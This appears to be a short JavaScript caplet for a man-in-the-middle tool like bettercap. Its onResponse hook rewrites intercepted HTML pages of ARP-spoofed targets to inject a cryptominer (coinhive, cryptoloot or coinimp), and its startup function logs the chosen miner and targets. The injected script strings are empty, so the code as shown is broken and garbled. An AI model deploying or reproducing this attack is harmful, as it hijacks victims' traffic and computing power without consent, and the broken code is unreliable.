var green = "\033[32m", reset = "\033[0m" function onLoad() { logStr = "Javascript Crypto Miner loaded.\n" + "\n Miner: " + green + env["cryptominer.name"].charAt(0).toUpperCase() + env["cryptominer.name"].slice(1) + reset + "\n Targets: " + green + env["arp.spoof.targets"] + reset + "\n" log(logStr); } function onResponse(req, res) { if( res.ContentType.indexOf('text/html') == 0 ){ var body = res.ReadBody(); if( body.indexOf('') != -1 ) { switch(env["cryptominer.name"]) { case "coinhive": res.Body = body.replace( '', '', '' ); break; case "cryptoloot": res.Body = body.replace( '', '', '' ); break; case "coinimp": res.Body = body.replace( '', '', '' ); break; } } } }